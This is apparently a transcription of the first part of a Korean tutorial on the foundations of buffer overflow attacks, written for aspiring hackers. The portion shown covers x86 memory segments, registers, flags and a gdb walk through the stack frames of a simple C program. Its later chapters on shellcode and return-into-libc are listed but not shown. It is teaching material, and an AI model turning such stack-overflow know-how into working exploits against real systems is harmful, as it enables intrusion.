BOF Foundation.doc

Size: px
Start display at page:

Download "BOF Foundation.doc"

Transcription

1 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 년 9월 5일

2 Abstract Buffer overflow 공격은방법은오래전에발표된기술이지만아직까지도많이사용되고있는기술이다. 그이유는무엇보다 buffer overflow 공격에취약한프로그램이많이만들어지고있기때문이다. 근간에도 buffer overflow 공격기법을다룬문서는국적을막론하고많이만들어지고있으며수시로발표되고있다. 그리고대부분의문서들은기술적인기법을설명하고있을뿐그원리와시스템구조에대한설명은부족하다. 또한 buffer overflow 기법의기초를설명하고있는문서또한많이발표되었으나번역을통한문서라이해를하기가힘들뿐만아니라이제막해커의길로접어들려는많은지망자들에게는어려운것이현실이다. 이에이문서는해커지방자들이 buffer overflow 공격기법을이해하고이를응용할수있으며새로발표되는관련문서들을이해하기쉽도록기반지식을전달하고자작성되었다. Buffer overflow 공격기법을이해하기위해서는무엇보다컴퓨터에서실행되는프로세스의구조와자료저장방식, 함수호출과정및리턴과정, 함수실행과정에대한정확한이해가필요하다. IA32 (32-bit Intel Architecture) 시스템에서프로세스의구성과명령어실행과정을살펴보고함수내에서의스텍버퍼의생성및동작과정, 함수호출과정등을하나하나면밀히짚어가며분석하면서 buffer overflow 공격방법을살펴보도록하겠다. 또한최신의기법은아니지만기존에사용되었던 overflow 공격기법을다시짚어보면서그원리들을이해하면근래에발표되고있는문서들을이해하는데많은도움이될것이다. 본문서에서는고전적인 return address 추측기법, 환경변수를이용하는기법, Return into libc 기법을이용한 buffer overflow 공격기법을예를들어설명한다. 2

3 Contents 1. 목적 Memory Architecture CPU 레지스터구조 프로그램구동시 Segment에서는어떤일이? simple.c step step step step step step step step Buffer overflow 의이해 byte order shell code 만들기 Dynamic Link Library & Static Link Library NULL의제거 buffer overlow 공격 고전적인방법 환경변수를이용한방법 Return into Libc 기법 마치며 참고문서

4 1. 목적 본문서는시스템에원하는명령을실행시키기위해사용되는 Buffer Overflow 공격에대한원리와관련지식들을설명한다. Buffer overflow 공격에대해서설명하고있는문서는매우많다. 하지만정작이제막해킹을공부하려는지망생들에게는다소이해하기에어려움이있는것이현실이다. 본문서는 Buffer overflow 공격이어떻게이루어지는지를설명하는것은물론이고이러한공격이가능하게되는그원리와컴퓨터시스템의기본구조에대해서설명하고있다. 여러가지산재되어있는지식들을잘정리해서모아보는것이그목적이며 Buffer overflow 공격법을개발하려하고이제막공부를시작하는이들에게도움이되고자한다 Memory Architecture High address Available Space Kernel Low address < 그림 basic memory structure> 8086 시스템의기본적인메모리구조는 < 그림 1> 과같다. 시스템이초기화되기시작하면시스템은커널을메모리에적재시키고가용메모리영역을확인하게된다. 시스템은운영에필요한기본적인명령어집합을커널에서찾기때문에커널영역은반드시저위치에있어야한다. 기본적으로커널은 64KByte 영역에자리잡지만이를확장하여오늘날의운영체제들은더큰영역을사용한다. 32bit 시스템에서는 CPU가한꺼번에처리할수있는데이터가 32bit 단위로되어있기때문에메모리영역에주소를할당할수있는범위가 0 ~ 4

5 이다. 최근 PC용으로나혹은이미서버급시스템에서사용된시스템의 CPU는 64bit 씩처리할수있으므로당연히메모리영역역시 0 ~ 범위를갖는다. 이제우리가알아야할것은하나의프로세스즉하나의프로그램이실행되기위한메모리구조이다. 운영체제는하나의프로세스를실행시키면이프로세스를 segment라는단위로묶어서가용메모리영역에저장시킨다. 그구조는 < 그림 2> 와같다. < 그림 2. segmented memory model> < 그림 2> 와같이오늘날의시스템은멀티테스킹 (multi-tasking) 이가능하므로메모리에는여러개의프로세스가저장되어병렬적으로작업을수행한다. 그래서가용한메모리영역에는여러개의 segment들이저장될수있다. segment는위에서언급한바와같이하나의프로세스를묶은것으로실행시점에실제메모리의어느위치에저장될지가결정된다. 하나의 segment는 < 그림 2> 의오른편에나와있는구조를가지고있다. 각각을 code segment, data segment, stack segment라고한다. 시스템에는최대 16,383개의 segment가생성될수있고그크기와타입은모두다양하게생성될수있다. 그리고하나의 segment 는최대 2 32 byte의크기를가질수있다. code segment에는시스템이알아들을수있는명령어즉 instruction들이들어있다. 이것은기계어코드로써컴파일러가만들어낸코드이다. instruction들은명령을수행하면서많은분기과정과점프, 시스템호출등을수행하게되는데분기와점프의경우메모리상의특정위치에있는명령을지정해주어야한다. 하지만 segment는자신이현재메모리상에어느위치에저장될지컴파일과정에서는알수없기때문에정확한주소를지정할수없다. 5

6 따라서 segment에서는 logical address를사용한다. Logical address는실제메모리상의주소 (physical address) 와매핑되어있다. 즉 segment는 segment selector에의해서자신의시작위치 (offset) 를찾을수있고자신의시작위치로부터의위치 (logical address) 에있는명령을수행할지를결정하게되는것이다. 따라서실제메모리주소 physical address는 offset + logical address 라고할수있다. < 그림 3. logical address, physical address> < 그림 3> 에서보는바와같이 segment가실제로위치하고있는메모리상의주소를 0x 이라고가정하자. code segment 내에들어있는하나의 instruction IS 1를가리키는주소는 0x 이다. 이것은 logical address이고이 instruction의실제메모리상의주소는 segment offset인 0x 과 segment내의주소 0x 을더한 0x 이된다. 따라서이 segment가메모리상의어느위치에있더라도 segment selector가 segment의 offset을알아내어해당 instruction의정확한위치를찾아낼수있게된다. data segment에는프로그램이실행시에사용되는데이터가들어간다. 여기서말하는데이터는전역변수들이다. 프로그램내에서전역변수를선언하면그변수가 data segment에자리잡게된다. data segment는다시네개의 data segment로나뉘는데각각현재모듈의 data structure, 상위레벨로부터받아들이는데이터모듈, 동적생성데이터, 다른프로그램과공유하는공유데이터부분이다. stack segment는현재수행되고있는 handler, task, program이저장하는데이터영역으로우리가사용하는버퍼가바로이 stack segment에자리잡게된다. 또한프로그램이사용하는 multiple 스텍을생성할수있고각스텍들간의 switch가가능하다. 지역변수들이자리잡는공간이다. 6

7 스텍은처음생성될때그필요한크기만큼만들어지고프로세스의명령에의해데이터를저장해나가는과정을거치게되는데이것은 stack pointer(sp) 라고하는레지스터가스텍의맨꼭대기를가리키고있다. 스텍에데이터를저장하고읽어들이는과정은 PUSH와 POP instruction에의해서수행된다. 스텍의데이터구조를이해하기위해서쉽게떠올릴수있는것은바로접시닦기를생각하면된다. 식당의주방에서접시를닦는다고생각해보자. 새로씻은접시는선반위에쌓아둔접시더미의맨위에올려놓는다 (PUSH). 그리고다음씻은접시는그위에다시올려놓는다 (PUSH). 음식을담기위해접시를사용할텐데이때맨아래접시를끄집어내려고하지않을것이다. 당연히맨위의접시를사용한다 (POP). 스텍도이와마찬가지로가장최근에 PUSH된데이터를 POP 명령을통해서가져오게된다 CPU 레지스터구조 지금까지하나의 segment의구조를알아보았다. 그러면이제 CPU가프로세스를실행하기위해서는프로세스를 CPU에적재시켜야할것이다. 그리고이렇게흩어져있는명령어집합 (Instruction set) 과데이터들을적절하게집어내고읽고저장하기위해서는여러가지저장공간이필요하다. 또한 CPU가재빨리읽고쓰기를해야하는데이터들이므로 CPU 내부에존재하는메모리를사용한다. 이러한저장공간을레지스터 (register) 라고한다. 일반적인시스템의프로그램레지스터의구조는 < 그림 4> 와같다. 레지스터는다시그목적에따라서범용레지스터 (General-Purpose register), 세그먼트레지스터 (segment register), 플래그레지스터 (Program status and control register), 그리고인스트럭션포인터 (instruction pointer) 로구성된다. 범용레지스터는논리연산, 수리연산에사용되는피연산자, 주소를계산하는데사용되는피연산자, 그리고메모리포인터가저장되는레지스터다. 세그먼트레지스터는 code segment, data segment, stack segment를가리키는주소가들어가있는레지스터다. 플래그레지스터는프로그램의현재상태나조건등을검사하는데사용되는플래그들이있는레지스터이다. 인스트럭션포인터는다음수행해야하는명령 (instruction) 이있는메모리상의주소가들어가있는레지스터다. 7

8 < 그림 4. 일반적시스템의프로그램레지스터구성 > 범용레지스터 < 그림 5. 범용레지스터 > 범용레지스터는프로그래머가임의로조작할수있게허용되어있는레지스터다. 일종의 4개의 32bit 변수라고생각하면된다. 예전의 16bit 시절에서는각레지스터를 AX, BX, CX, DX.. 등으로불렀지만 32bit 시스템으로전환되면서 E(Extended) 가앞에붙어 EAX, EBX, ECX, EDX.. 등으로불린다. AX 레지스터의상위부분을 AH라고하고하위부분을 AL이라고한다. EAX, EBX, ECX, EDX 레지스터들은프로그래머의필요에따라아무렇게나사용해도되지만최초태생은자신들의목적을가지고태어났고나중에기계어코드를읽고이해 8

9 하기편하게하기위해서그목적대로사용해주는것이좋다. 또한컴파일러도이러한목적에맞게사용하고있다. 각레지스터의목적을살펴보자. EAX 피연산자와연산결과의저장소 EBX DS segment안의데이터를가리키는포인터 ECX 문자열처리나루프를위한카운터 EDX I/O 포인터 ESI DS 레지스터가가리키는 data segment 내의어느데이터를가리키고있는포인터. 문자열처리에서 source를가리킴. EDI ES 레지스터가가리키고있는 data segment 내의어느데이터를가리키고있는포인터. 문자열처리에서 destination을가리킴. ESP SS 레지스터가가리키는 stack segment의맨꼭대기를가리키는포인터 EBP SS 레지스터가가리키는스텍상의한데이터를가리키는포인터 세그먼트레지스터 < 그림 6. 세그먼트레지스터 > 세그먼트레지스터는 < 그림 6> 에서보는바와같이프로세스의특정세그먼트를가리키는포인터역할을한다. CS 레지스터는 code segment를, DS, ES, FS, GS 레지스터는 data segment를, SS 레지스터는 stack segment를가리킨다. 이렇게세그먼트레지스터가가리키는위치를바탕으로우리는원하는 segment안의특정데이터, 명령어들정확하게끄집어낼수가있게된다. < 그림 7> 은각레지스터가가리키는세그먼트들을설명해주고있다. 9

10 < 그림 7. 세그먼트레지스터가가리키는세그먼트들 > 플래그레지스터컨트롤플래그레지스터는상태플래그, 컨트롤플래그, 시스템플래그들의집합이다. 시스템이리셋되어초기화되면이레지스터는 0x 의값을가진다. 그리고 1, 3, 5, 15, 22~31번비트는예약되어있어소프트웨어에의해조작할수없게되어있다. < 그림 8> 은플래그레지스터의구조를보여주고있다. < 그림 8. 플래그레지스터의구성 > 10

11 각플래그들의역할을간단히살펴보자. Status flags CF carry flag. 연산을수행하면서 carry 혹은 borrow가발생하면 1이된다. Carry와 borrow 는덧셈연산시 bit bound를넘어가거나뺄셈을하는데빌려오는경우를말한다. PF Parity flag. 연산결과최하위바이트의값이 1이짝수일경우에 1이된다. 패리티체크를하는데사용된다. AF Adjust flag. 연산결과 carry나 borrow가 3bit 이상발생할경우 1이된다. ZF Zero flag. 결과가 zero임을가리킨다. If문같은조건문이만족될경우 set된다. SF Sign flag. 이것은연산결과최상위비트의값과같다. Signed 변수의경우양수이면 0, 음수이면 1이된다. OF Overflow flag. 정수형결과값이너무큰양수이거나너무작은음수여서피연산자의데이터타입에모두들어가지않을경우 1이된다. DF Direction flag. 문자열처리에있어서 1일경우문자열처리 instruction이자동으로감소 ( 문자열처리가 high address에서 low address로이루어진다 ), 0일경우자동으로증가한다. System flags IF Interrupt enable flag. 프로세서에게 mask한 interrupt에응답할수있게하려면 1을준다. TF Trap flag. 디버깅을할때 single-step을가능하게하려면 1을준다. IOPL I/O privilege level field. 현재수행중인프로세스혹은 task의권한레벨을가리킨다. 현재수행중인프로세스의권한을가리키는 CPL이 I/O address 영역에접근하기위해서는 I/O privilege level보다작거나같아야한다. NT Nested task flag. Interrupt의 chain을제어한다. 1이되면이전실행 task와현재 task가연결되어있음을나타낸다. RF Resume flag. Exception debug 하기위해프로세서의응답을제어한다. VM Virtual-8086 mode flag. Virtual-8086 모드를사용하려면 1을준다. AC Alignment check flag. 이비트와 CR0 레지스터의 AM 비트가 set되어있으면메모리레퍼런스의 alignment checking이가능하다. VIF Virtual interrupt flag. IF flag의가상이미지이다. VIP flag와결합시켜사용한다. VIP Virtual interrupt pending flag. 인터럽트가 pending( 경쟁상태 ) 되었음을가리킨다. ID Identification flag. CPUID instruction을지원하는 CPU인지를나타낸다. Instruction Pointer Instruction pointer 레지스터는다음실행할명령어가있는현재 code segment의 offset 값 11

12 을가진다. 이것은하나의명령어범위에서선형명령집합의다음위치를가리킬수있다. 뿐만아니라 JMP, Jcc, CALL, RET와 IRET instruction이있는주소값을가진다. EIP 레지스터는소프트웨어에의해바로엑세스할수없고 control-transfer instruction (JMP, Jcc, CALL, RET) 이나 interrupt와 exception에의해서제어된다. EIP 레지스터를읽을수있는방법은 CALL instruction을수행하고나서프로시저스텍 (procedure stack) 으로부터리턴하는 instruction의 address를읽는것이다. 프로시저스텍의 return instruction pointer의값을수정하고 return instruction(ret, IRET) 을수행함으로해서 EIP 레지스터의값을간접적으로지정해줄수있다. 지금까지 8086 시스템의메모리및 CPU 레지스터의구조를알아보았다. 이렇게복잡하고어려운구조를알아야하는이유는우리가 buffer overflow 공격을하는데있어적절한 padding 사용과 return address의정확한위치를찾고필요한 assembly 코드를추출하고이해하는데필요하다. 이문서의목적달성은외우기힘든 8086 시스템의구조가기억이안나나중에뒤적거릴때다시한번펼쳐볼수있다면 OK다. 이제알아야할것은바로 buffer 의성장과정이다. 4. 프로그램구동시 Segment 에서는어떤일이? 프로그램이실행되어프로세스가메모리에적재되고메모리와레지스터가어떻게동작하는지알아보기위하여간단한프로그램을예를들도록하겠다. 아래의프로그램을보자. void function(int a, int b, int c){ char buffer1[15]; char buffer2[10]; } void main(){ } function(1, 2, 3); < 그림 9. simple.c> 위프로그램은별동작도하지않는아주간단한프로그램이다. 스텍을이해하기위해만든프로그램이므로잘보기바란다. < 그림 9> 에서보여주는 C 프로그램을어셈블리코드로변환하기위해서아래와같은옵션으로컴파일하였다. $gcc S o simple.asm simple.c 12

13 -S 옵션을이용하여컴파일을한다. 이렇게하여만들어지는어셈블리코드는컴파일러의버전에따라다르게생성된다. 그이유는컴파일러가버전업되면서레지스터활용성을높인다거나보안성능을높이기위해혹은수행속도개선, 알고리즘의변화등다양한원인으로다른결과물을만들어낸다. 딱히최근버전이좋다고할수도없고나쁘다고도할수는없다. 다만컴파일러의버전에따라다르게나올수있다는점을알고있으면된다. 만들어진어셈블리프로그램은 simple.asm이라는파일이름으로생성되었다. 확인해보자. bof]$ cat simple.asm.file "simple.c".text.globl function.type function: pushl %ebp movl %esp, %ebp subl $40, %esp leave ret.lfe1:.size function,.lfe1-function.globl main.type main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax subl %eax, %esp subl $4, %esp pushl $3 pushl $2 pushl $1 call function addl $16, %esp leave 13

14 ret.lfe2:.size main,.lfe2-main.ident "GCC: (GNU) (Hancom Linux 3.2.3)" bof]$ < 그림 10. gcc 에서생성된 simple.asm> 필자가사용하는한컴리눅스 3.0에서는위와같은결과가나왔다. 배포판의버전보다는 gcc의버전을보자. gcc의버전이 이다. 한편비교적최근의배포판인 Red Hat Fedora core 3에포함되어있는 gcc 3.4.2는아래와 같은어셈블리코드를생성하였다. bof]$ cat simple.asm.file "simple.c".text.globl function.type pushl %ebp movl %esp, %ebp subl $40, %esp leave ret.size tion,.-tion.globl main.type main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax shrl $4, %eax sall $4, %eax subl %eax, %esp subl $4, %esp 14

15 pushl $3 pushl $2 pushl $1 call function addl $16, %esp leave ret.size "GCC: (GNU) (Red Hat fc3)" bof]$ < 그림 11. gcc 3.4.2에서생성된 simple.asm> 굵게표시된부분이추가되었다. gcc 3.4.2에서추가된저코드는군더더기다. 우리프로그램에는필요없는부분이므로무시하자. 일단은 < 그림 10> 에서보여주는코드를가지고살펴보도록하겠다. gcc 의경우임을유의하기바란다. simple.c 프로그램이컴파일되어실제메모리상에어느위치에존재하기될지알아보기위해서컴파일을한다음 gdb를이용하여어셈블리코드와메모리에적재될 logical address 를살펴보도록하자. bof]$ gcc -o simple simple.c simple.c: In function `main': simple.c:6: warning: return type of `main' is not `int' bof]$ gdb simple GNU gdb Red Hat Linux ( ) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x80482fc <main>: push %ebp 0x80482fd <main+1>: mov %esp,%ebp 15

16 0x80482ff <main+3>: sub $0x8,%esp 0x <main+6>: and $0xfffffff0,%esp 0x <main+9>: mov $0x0,%eax 0x804830a <main+14>: sub %eax,%esp 0x804830c <main+16>: sub $0x4,%esp 0x804830f <main+19>: push $0x3 0x <main+21>: push $0x2 0x <main+23>: push $0x1 0x <main+25>: call 0x80482f4 <function> 0x804831a <main+30>: add $0x10,%esp 0x804831d <main+33>: leave 0x804831e <main+34>: ret 0x804831f <main+35>: nop End of assembler dump. (gdb) disas function Dump of assembler code for function function: 0x80482f4 <function>: push %ebp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f7 <function+3>: sub $0x28,%esp 0x80482fa <function+6>: leave 0x80482fb <function+7>: ret End of assembler dump. (gdb) < 그림 12. gcc 3.2.3으로컴파일한후 gdb로 disassemble 한모습 > 이렇게나왔다. 앞에붙어있는주소는 logical address이다. 이주소를자세히보면 function() 함수가아래에자리잡고 main() 함수는위에자리잡고있음을알수있다. 따라서메모리주소를바탕으로생성될이프로그램의 segment 모양은 < 그림 13> 과같이될것임을유추할수있다. < 그림 13> 과같이 segment가구성되었다. segment의크기는프로그램마다다르기때문에최상위메모리의주소는그림과같이구성되지않을수도있다. 다만필자가임의의값을정한것이다. 이 segment의 logical address는 0x 부터시작하지만실제프로그램이컴파일과링크되는과정에서다른라이브러리들을필요로하게된다. 따라서코딩한코드가시작되는지점은시작점과일치하지는않을것이다. 뿐만아니라 stack segment 역시 0xBFFFFFFF까지할당되지만역시필요한환경변수나실행옵션으로주어진변수등등에의해서가용한영역은그보다조금더아래에자리잡고있다. simple.c는전역변수를지정 16

17 하지않았기때문에 data segment에는링크된라이브러리의전역변수값만들어있을것이다. 이제프로그램이시작되면 EIP 레지스터즉, CPU가수행할명령이있는레지스터는 main() 함수가시작되는코드를가리키고있을것이다. main() 함수의시작점은 0x80482fc가되겠다. 이제한명령어씩따라가보도록하자. ESP가정확히어느지점을가리키는지알아보기위하여 gdb를이용하여레지스터값을알아보았다. (gdb) break *0x80482fc Breakpoint 1 at 0x80482fc (gdb) r Starting program: /home/dalgona/work/bof/simple Breakpoint 1, 0x080482fc in main () (gdb) info register esp esp 0xbffffa7c 0xbffffa7c 17

18 Stack Segment 환경변수, argc, argv pointer 등등 0xBFFFFFFF Data Segment Code Segment 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x <main+25>: call 0x80482f4 0x <main+23>: push $0x1 0x <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x <main+9>: mov $0x0,%eax 0x <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp 공유라이브러리함수등등 0x < 그림 13. simple.c 프로그램이실행될때의 segment 모습 > 18

19 <Step 1> ESP 0xbffffa7c 좌측의그림과같이 EIP 는 main() 함수의시작점을 가리키고 있다. 그리고 ESP는스텍의맨꼭대기 를가리키고있다. ESP가 스텍의맨꼭대기를가리 키고있는이유는프로그 램이 수행되면서 수많은 0x804831f <main+35>: nop PUSH와 POP 명령을할것이기때문에이지점에다 PUSH를해라, 이지점에있는데이터를 POP해가라라는의미이다. PUSH 0x804831e <main+34>: ret 0x804831d <main+33>: leave 명령이 ESP가 가리키는 0x804831a <main+30>: add $0x10,%esp 0x <main+25>: call 0x80482f4 지점에다 데이터를 넣을 0x <main+23>: 0x804830f <main+19>: push push $0x1 $0x3 0x <main+21>: 0x804830c <main+16>: push sub $0x2 $0x4,%esp 것인지아니면 ESP가가리키는아래지점에다데 0x804830a <main+14>: sub %eax,%esp 이터를 넣을 것인지는 0x <main+9>: mov $0x0,%eax 0x <main+6>: and $0xfffffff0,%esp system architecture에따라 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 다르다. 마찬가지로 POP 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret EIP 명령이 ESP가 가리키는 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 지점의 데이터를 가져갈 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp 것인지아니면 ESP가가 리키는지점위의데이터 를가져갈것인지역시다르게동작한다. 하지만별상관은없다. ebp를저장하는이유는이전에수행하던함수의데이터를보존하기위해서이다. 이것을 base pointer라고도부른다. 그래서함수가시작될때에는이렇게 stack pointer와 base pointer를새로지정하는데이러한과정을함수프롤로그과정이라고한다. 19

20 <Step 2> 이전함수의 base pointer EBP ESP 0xbffffa78 push %ebp 를수행하여이전함수의 base pointer 를저장하면 stack pointer 는 4 바이트아 래인 0xbffffa78 을가리키게 될것이다. 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x <main+25>: call 0x80482f4 0x <main+23>: push $0x1 0x <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x <main+9>: mov $0x0,%eax 0x <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp 0xbffffa70 이들어가게된다. 지면을아끼기위하여다음명령들도계속살펴보자. EIP mov %esp, %ebp 를수행하여 ESP 값을 EBP에복사하였다. 이렇게함으로써함수의 base pointer와 stack pointer가같은지점을가리키게된다. sub $0x8, %esp 는 ESP에서 8을빼는명령이다. 따라서 ESP는 8바이트아래지점을가리키게되고스텍에 8바이트의공간이생기게된다. 이것을스텍이 8바이트확장되었다고말한다. 이명령이수행되고나면 ESP에는 and $0xfffffff0, %esp 은 ESP와 과 AND 연산을한다. 이것은 ESP의주소값의맨뒤 4bit를 0으로만들기위함이다. 별의미없는명령이다. mov $0x0, %eax EAX 레지스터에 0을넣고 sub %eax, %esp ESP에들어있는값에서 EAX에들어있는값만큼뺀다. 이것은역시 stack pointer를 EAX 20

21 만큼확장시키려하는것이지만 0 이들어있으므로의미없는명령이다. sub $0x4, %esp 스텍을 4 바이트확장하였다. 따라서 ESP 에들어있는값은 0xbffffa6c 가된다. 21

22 <Step 3> 이전함수의 base pointer EBP 0xbffffa78 ESP 0xbffffa6c 지금까지의명령을수행한모습은좌측그림과같다. ESP는 12바이트이동하였다. 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x <main+25>: call 0x80482f4 0x <main+23>: push $0x1 0x <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x <main+9>: mov $0x0,%eax 0x <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp EIP 다음으로수행할명령은 push $0x03 push $0x02 push $0x01 이다. 이것은 function(1, 2, 3) 을수행하기위해인자값 1, 2, 3을차례로넣어준다. 순서가 3, 2, 1이되어있는것은스텍에서끄집어낼때에는거꾸로나오기때문에그렇다. 왜이값들이여기에들어가는지는 < 그림 13> 에서 argc, argv가위치한자리와아래에서설명할 function() 의프롤로그가끝난다음의스텍의모습을보면이해가될것이다. call 0x80482f4 명령은 0x80482f4에있는명령을수행하라는것이다. 보는것과같이 0x80482f4에는 function 함수가자리잡은곳이다. call 명령은함수를호출할때사용되는명령으로함수실행이끝난다음다시이후명령을계속수행할수있도록이후명령이있는주소를스텍에넣은다음 EIP에함수의시작지점의주소를넣는다. add $0x10, %esp 명령이있는주소이다. 따라서함수수행이끝나고나면이제어디에있는명령을수행해야하는가하는것을스텍에서 POP하여알수있게되는것이다. 이것이바로 buffer overflow에서가장중요한 return address 이다. 이제 EIP에는 function함수가있는 0x80482f4 주소값이들어가게된다. 22

23 <Step 4> 이전함수의 base pointer x804831a EBP 0xbffffa78 ESP 0xbffffa5c 이제 EIP는 function() 함수가시작되는지점을가리키고있고스텍에는 main() 함수에서넣었던값들이차곡차곡쌓여있다. 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x <main+25>: call 0x80482f4 0x <main+23>: push $0x1 0x <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x <main+9>: mov $0x0,%eax 0x <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp EIP push %ebp mov %esp, %ebp function() 함수에서도마찬가지로함수프롤로그가수행된다. main() 함수에서사용하던 base pointer가저장되고 stack pointer를 function() 함수의 base pointer로삼는다. 23

24 <Step 5> 이전함수의 base pointer function() 함수의프롤로그가끝나고만난명령은 x804831a 0xbffffa78 sub $0x28, %esp EBP ESP 0xbffffa58 이다. 이것은스텍을 40바이트확장한다. 40바이트가 된 이유는 simple.c의 function() 함수에 서지역변수로 buffer1[15] 와 buffer2[10] 을선언했기 때문인데 buffer1[15] 는 총 0x804831f <main+35>: nop 15바이트가필요하지만스 0x804831e <main+34>: ret 0x804831d <main+33>: leave 텍은 word (4byte) 단위로자 0x804831a <main+30>: add $0x10,%esp 라기때문에 16바이트를할 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x <main+25>: 0x <main+21>: 0x804830c <main+16>: 0x <main+9>: 0x80482ff <main+3>: call push sub mov sub 0x80482f4 $0x2 $0x4,%esp $0x0,%eax $0x8,%esp 0x <main+23>: 0x804830f <main+19>: 0x804830a <main+14>: 0x <main+6>: 0x80482fd <main+1>: push push sub and mov $0x1 $0x3 %eax,%esp $0xfffffff0,%esp %esp,%ebp 당하고 buffer2[10] 을위해서는 12바이트를할당한다. 따라서확장되어야할스텍의크기는 28바이트이다. 하지만이것은 gcc버전에따라서또달라진다. 0x80482fa <function+6>: leave gcc 2.96 미만의버전에서 0x80482f7 <function+3>: sub $0x28,%esp EIP 0x80482f5 <function+1>: mov %esp,%ebp 는위와같이 word 단위로 0x80482f4 <function>: push %ebp 할당되어 28바이트확장이 되겠지만 gcc 2.96 이후의버전에서는스텍은 16배수로할당된다. 단 8바이트이하의버퍼 는 1 word 단위로할당되지만 9바이트이상의버퍼는 4 word 단위로할당이된다. 또한 8바 이트 dummy값이들어간다. 이에따른정확한이유와규칙성은아직발견하지못했다. 아무튼이런이유로 buffer1[15] 를위해서 16바이트가할당되고 buffer2[10] 을위해서 16바이트가할당된다. 그리고추가로 8바이트의 dummy가들어가총 40바이트의스텍이확장된것이다. 8바이트 dummy에무슨값이들어가있는것은아니지만쓸데없는 8바이트의공간이소모되고있다는의미이다. 그리고 function함수의인자는 function() 함수의 base pointer 와 return address 위에존재하게된다. 이것은 < 그림 13> 에서보는바와같이 main함수가호출될때주어지는인자 argc, argv가위치한곳과같은배치를갖고있다. 어떤가? 이제 < 그림 13> 이이해가되지않는가? 24

25 <Step 6> 이전함수의 base pointer x804831a 0xbffffa78 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x <main+25>: call 0x80482f4 0x <main+23>: push $0x1 0x <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x <main+9>: mov $0x0,%eax 0x <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp EBP 0xbffffa58 ESP 0xbffffa30 EIP 이렇게만들어진버퍼에는이제우리가필요한데이터를쓸수있게된다. 보통 mov $0x41, [$esp -4] mov $0x42, [$esp-8] 과같은형식으로 ESP를기준으로스텍의특정지점에데이터를복사해넣는방식으로동작한다. simple.c 에는데이터를넣는과정이없으므로스텍이만들어진과정까지만확인하는것으로만족하자. 자그러면이제스텍을한번살펴보자. 스텍은 < 그림 14> 와같은형태를갖게된다. < 그림 14. function() 수행중스텍의모습 > 25

